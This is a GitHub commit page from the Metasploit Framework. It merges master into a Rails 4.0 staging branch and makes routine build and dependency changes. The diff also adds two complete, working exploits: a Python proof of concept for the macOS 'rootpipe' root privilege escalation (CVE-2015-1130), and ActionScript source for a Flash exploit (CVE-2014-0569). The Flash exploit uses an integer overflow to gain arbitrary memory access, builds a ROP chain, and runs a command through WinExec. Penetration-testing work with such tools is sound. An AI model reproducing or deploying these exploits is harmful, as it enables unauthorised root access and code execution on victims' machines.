Skip to content

Commit e82fb5f

Browse files
committed
Merge branch 'master' into staging/rails-4.0
Conflicts: Gemfile.lock lib/msf/ui/console/command_dispatcher/db.rb metasploit-framework-db.gemspec metasploit-framework.gemspec
2 parents 9f15824 + 3633be1 commit e82fb5f

File tree

204 files changed

+5940
-1528
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

204 files changed

+5940
-1528
lines changed

.travis.yml

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -38,3 +38,6 @@ branches:
3838
except:
3939
- gh-pages
4040
- metakitty
41+
42+
addons:
43+
postgresql: '9.3'

Gemfile.lock

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -56,7 +56,7 @@ PATH
5656
bcrypt
5757
jsobfu (~> 0.2.0)
5858
json
59-
meterpreter_bins (= 0.0.18)
59+
meterpreter_bins (= 0.0.21)
6060
msgpack
6161
nokogiri
6262
packetfu (= 1.1.9)
@@ -152,7 +152,7 @@ GEM
152152
json (1.8.2)
153153
mail (2.6.3)
154154
mime-types (>= 1.16, < 3)
155-
meterpreter_bins (0.0.18)
155+
meterpreter_bins (0.0.21)
156156
method_source (0.8.2)
157157
mime-types (2.4.3)
158158
mini_portile (0.6.2)

data/exploits/CVE-2014-0569/msf.swf

17.5 KB
Binary file not shown.
Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
########################################################
2+
#
3+
# PoC exploit code for rootpipe (CVE-2015-1130)
4+
#
5+
# Created by Emil Kvarnhammar, TrueSec
6+
#
7+
# Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2
8+
#
9+
########################################################
10+
import os
11+
import sys
12+
import platform
13+
import re
14+
import ctypes
15+
import objc
16+
import sys
17+
from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions
18+
from Foundation import NSAutoreleasePool
19+
20+
def load_lib(append_path):
21+
return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path);
22+
23+
def use_old_api():
24+
return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0])
25+
26+
27+
args = sys.argv
28+
29+
if len(args) != 3:
30+
print "usage: exploit.py source_binary dest_binary_as_root"
31+
sys.exit(-1)
32+
33+
source_binary = args[1]
34+
dest_binary = os.path.realpath(args[2])
35+
36+
if not os.path.exists(source_binary):
37+
raise Exception("file does not exist!")
38+
39+
pool = NSAutoreleasePool.alloc().init()
40+
41+
attr = NSMutableDictionary.alloc().init()
42+
attr.setValue_forKey_(04777, NSFilePosixPermissions)
43+
data = NSData.alloc().initWithContentsOfFile_(source_binary)
44+
45+
print "will write file", dest_binary
46+
47+
if use_old_api():
48+
adm_lib = load_lib("/Admin.framework/Admin")
49+
Authenticator = objc.lookUpClass("Authenticator")
50+
ToolLiaison = objc.lookUpClass("ToolLiaison")
51+
SFAuthorization = objc.lookUpClass("SFAuthorization")
52+
53+
authent = Authenticator.sharedAuthenticator()
54+
authref = SFAuthorization.authorization()
55+
56+
# authref with value nil is not accepted on OS X <= 10.8
57+
authent.authenticateUsingAuthorizationSync_(authref)
58+
st = ToolLiaison.sharedToolLiaison()
59+
tool = st.tool()
60+
tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
61+
else:
62+
adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")
63+
WriteConfigClient = objc.lookUpClass("WriteConfigClient")
64+
client = WriteConfigClient.sharedClient()
65+
client.authenticateUsingAuthorizationSync_(None)
66+
tool = client.remoteProxy()
67+
68+
tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)
69+
70+
71+
print "Done!"
72+
73+
del pool

data/templates/template_x64_bsd.bin

120 Bytes
Binary file not shown.
Lines changed: 285 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,285 @@
1+
// Build how to:
2+
// 1. Download the AIRSDK, and use its compiler.
3+
// 2. Download the Flex SDK (4.6)
4+
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
5+
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
6+
// 4. Build with: mxmlc -o msf.swf Main.as
7+
8+
// Original code skeleton by @hdarwin89 for other exploits
9+
10+
package
11+
{
12+
import flash.display.Sprite
13+
import flash.utils.ByteArray
14+
import flash.system.ApplicationDomain
15+
import avm2.intrinsics.memory.casi32
16+
import flash.display.LoaderInfo
17+
import mx.utils.Base64Decoder
18+
19+
public class Main extends Sprite
20+
{
21+
private var BYTE_ARRAY_SIZE:Number = 1024
22+
private var defrag:Vector.<Object> = new Vector.<Object>(100)
23+
private var ov:Vector.<Object> = new Vector.<Object>(100)
24+
private var uv:Vector.<Object> = new Vector.<Object>(100)
25+
private var uv_index:uint
26+
private var ba:ByteArray
27+
private var b64:Base64Decoder = new Base64Decoder();
28+
private var payload:String = ""
29+
30+
public function Main()
31+
{
32+
var i:uint = 0
33+
var j:uint = 0
34+
35+
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
36+
payload = b64.toByteArray().toString();
37+
38+
for (i = 0; i < defrag.length; i++) {
39+
defrag[i] = new ByteArray()
40+
defrag[i].length = BYTE_ARRAY_SIZE
41+
defrag[i].endian = "littleEndian"
42+
}
43+
44+
ba = new ByteArray()
45+
ov[0] = ba
46+
ov[0].length = BYTE_ARRAY_SIZE
47+
ov[0].endian = "littleEndian"
48+
49+
for (i = 1; i < ov.length; i++) {
50+
ov[i] = new Vector.<Object>(1014)
51+
ov[i][0] = ba
52+
ov[i][1] = this
53+
}
54+
55+
for (i = 0; i < uv.length; i++) {
56+
uv[i] = new Vector.<uint>(1014)
57+
uv[i][0] = 0x41424344
58+
}
59+
60+
var stack:Vector.<uint> = new Vector.<uint>(0x6400)
61+
var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
62+
63+
for (i = 1; i < ov.length; i++) {
64+
ov[i][2] = stack
65+
ov[i][3] = payload_space
66+
}
67+
68+
ApplicationDomain.currentDomain.domainMemory = ba;
69+
// Make ByteArray length 0 so the casi32 integer overflow
70+
// can be exploited
71+
ba.atomicCompareAndSwapLength(1024, 0)
72+
73+
var object_vector_pos:uint = search_object_vector()
74+
var byte_array_object:uint = read_byte_array(object_vector_pos + 4) - 1
75+
var stack_object:uint = read_byte_array(object_vector_pos + 12) - 1
76+
var payload_space_object:uint = read_byte_array(object_vector_pos + 16) - 1
77+
var main:uint = read_byte_array(object_vector_pos + 8) - 1
78+
var uint_vector_pos:uint = search_uint_vector()
79+
var object_vector_address:uint = read_byte_array(object_vector_pos - 16) + 12
80+
var uint_vector_address:uint = object_vector_address + (uint_vector_pos - object_vector_pos)
81+
82+
// Overwrite uint vector length
83+
var orig_length:uint = write_byte_array(uint_vector_pos, 0xffffffff)
84+
85+
for (i = 0; i < uv.length; i++) {
86+
if (uv[i].length > 1024) {
87+
uv_index = i
88+
uv[i][0] = uint_vector_address
89+
break
90+
}
91+
}
92+
93+
var buffer_object:uint = vector_read(byte_array_object + 0x40)
94+
var buffer:uint = vector_read(buffer_object + 8)
95+
var stack_address:uint = vector_read(stack_object + 0x18)
96+
var payload_address:uint = vector_read(payload_space_object + 0x18)
97+
var vtable:uint = vector_read(main)
98+
99+
// Set the new ByteArray length
100+
ba.endian = "littleEndian"
101+
ba.length = 0x500000
102+
103+
// Overwite the ByteArray data pointer and capacity
104+
var ba_array:uint = buffer_object + 8
105+
var ba_capacity:uint = buffer_object + 16
106+
vector_write(ba_array)
107+
vector_write(ba_capacity, 0xffffffff)
108+
109+
// restoring the corrupted vector length since we don't need it
110+
// anymore
111+
byte_write(uv[uv_index][0], orig_length)
112+
113+
var flash:uint = base(vtable)
114+
var winmm:uint = module("winmm.dll", flash)
115+
var kernel32:uint = module("kernel32.dll", winmm)
116+
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
117+
var winexec:uint = procedure("WinExec", kernel32)
118+
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
119+
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
120+
121+
// Continuation of execution
122+
byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
123+
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
124+
byte_write(0, "\x89\x03", false) // mov [ebx], eax
125+
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
126+
127+
// Put the payload (command) in memory
128+
byte_write(payload_address + 8, payload, true); // payload
129+
130+
// Put the fake vtabe / stack on memory
131+
byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
132+
byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
133+
byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
134+
byte_write(0, virtualprotect)
135+
136+
// VirtualProtect
137+
byte_write(0, winexec)
138+
byte_write(0, buffer + 0x10)
139+
byte_write(0, 0x1000)
140+
byte_write(0, 0x40)
141+
byte_write(0, buffer + 0x8) // Writable address (4 bytes)
142+
143+
// WinExec
144+
byte_write(0, buffer + 0x10)
145+
byte_write(0, payload_address + 8)
146+
byte_write(0)
147+
148+
byte_write(main, stack_address + 0x18000) // overwrite with fake vtable
149+
150+
toString() // call method in the fake vtable
151+
}
152+
153+
// Methods to use the integer overflow
154+
155+
private function search_object_vector(limit:uint = 0xf9000, pattern:uint = 1014):uint {
156+
var mem:uint = 0
157+
var mem_first_pos:uint = 0
158+
var next_length:uint = 0
159+
160+
for (var i:uint = 0; i < limit; i = i + 4) {
161+
mem = read_byte_array(i)
162+
mem_first_pos = read_byte_array(i + 8)
163+
if (mem == pattern && mem_first_pos != 0x41424344) {
164+
return i;
165+
}
166+
}
167+
return -1;
168+
}
169+
170+
private function search_uint_vector(limit:uint = 0xf9000, pattern:uint = 1014):uint {
171+
var mem:uint = 0
172+
var mem_first_pos:uint = 0
173+
174+
for (var i:uint = 0; i < limit; i = i + 4) {
175+
mem = read_byte_array(i)
176+
mem_first_pos = read_byte_array(i + 8)
177+
if (mem == pattern && mem_first_pos == 0x41424344) {
178+
return i;
179+
}
180+
}
181+
return -1;
182+
}
183+
184+
private function read_byte_array(offset:uint = 0):uint {
185+
var old:uint = casi32(offset, 0xdeedbeef, 0xdeedbeef)
186+
return old
187+
}
188+
189+
private function write_byte_array(offset:uint = 0, value:uint = 0):uint {
190+
var old:uint = read_byte_array(offset)
191+
casi32(offset, old, value)
192+
return old
193+
}
194+
195+
// Methods to use the corrupted vector for arbitrary reading/writing
196+
197+
private function vector_write(addr:uint, value:uint = 0):void
198+
{
199+
addr > uv[uv_index][0] ? uv[uv_index][(addr - uv[uv_index][0]) / 4 - 2] = value : uv[uv_index][0xffffffff - (uv[uv_index][0] - addr) / 4 - 1] = value
200+
}
201+
202+
private function vector_read(addr:uint):uint
203+
{
204+
return addr > uv[uv_index][0] ? uv[uv_index][(addr - uv[uv_index][0]) / 4 - 2] : uv[uv_index][0xffffffff - (uv[uv_index][0] - addr) / 4 - 1]
205+
}
206+
207+
// Methods to use the corrupted byte array for arbitrary reading/writing
208+
209+
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
210+
{
211+
if (addr) ba.position = addr
212+
if (value is String) {
213+
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
214+
if (zero) ba.writeByte(0)
215+
} else ba.writeUnsignedInt(value)
216+
}
217+
218+
private function byte_read(addr:uint, type:String = "dword"):uint
219+
{
220+
ba.position = addr
221+
switch(type) {
222+
case "dword":
223+
return ba.readUnsignedInt()
224+
case "word":
225+
return ba.readUnsignedShort()
226+
case "byte":
227+
return ba.readUnsignedByte()
228+
}
229+
return 0
230+
}
231+
232+
// Methods to search the memory with the corrupted byte array
233+
234+
private function base(addr:uint):uint
235+
{
236+
addr &= 0xffff0000
237+
while (true) {
238+
if (byte_read(addr) == 0x00905a4d) return addr
239+
addr -= 0x10000
240+
}
241+
return 0
242+
}
243+
244+
private function module(name:String, addr:uint):uint
245+
{
246+
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
247+
var i:int = -1
248+
while (true) {
249+
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
250+
if (!entry) throw new Error("FAIL!");
251+
ba.position = addr + entry
252+
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
253+
if (dll_name == name.toUpperCase()) {
254+
break;
255+
}
256+
}
257+
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
258+
}
259+
260+
private function procedure(name:String, addr:uint):uint
261+
{
262+
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
263+
var numberOfNames:uint = byte_read(eat + 0x18)
264+
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
265+
var addressOfNames:uint = addr + byte_read(eat + 0x20)
266+
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
267+
268+
for (var i:uint = 0; ; i++) {
269+
var entry:uint = byte_read(addressOfNames + i * 4)
270+
ba.position = addr + entry
271+
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
272+
}
273+
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
274+
}
275+
276+
private function gadget(gadget:String, hint:uint, addr:uint):uint
277+
{
278+
var find:uint = 0
279+
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
280+
var value:uint = parseInt(gadget, 16)
281+
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
282+
return addr + i
283+
}
284+
}
285+
}

lib/metasm/metasm/main.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -306,8 +306,8 @@ def label_at(edata, offset, base = '')
306306
# creates a new label, that is guaranteed to never be returned again as long as this object (ExeFormat) exists
307307
def new_label(base = '')
308308
base = base.dup.tr('^a-zA-Z0-9_', '_')
309-
# use %x instead of to_s(16) for negative values
310-
base = (base << '_uuid' << ('%08x' % base.object_id)).freeze if base.empty? or @unique_labels_cache[base]
309+
# use %x with absolute value to avoid negative number formatting
310+
base = (base << '_uuid' << ('%08x' % base.object_id.abs)).freeze if base.empty? or @unique_labels_cache[base]
311311
@unique_labels_cache[base] = true
312312
base
313313
end

0 commit comments

Comments
 (0)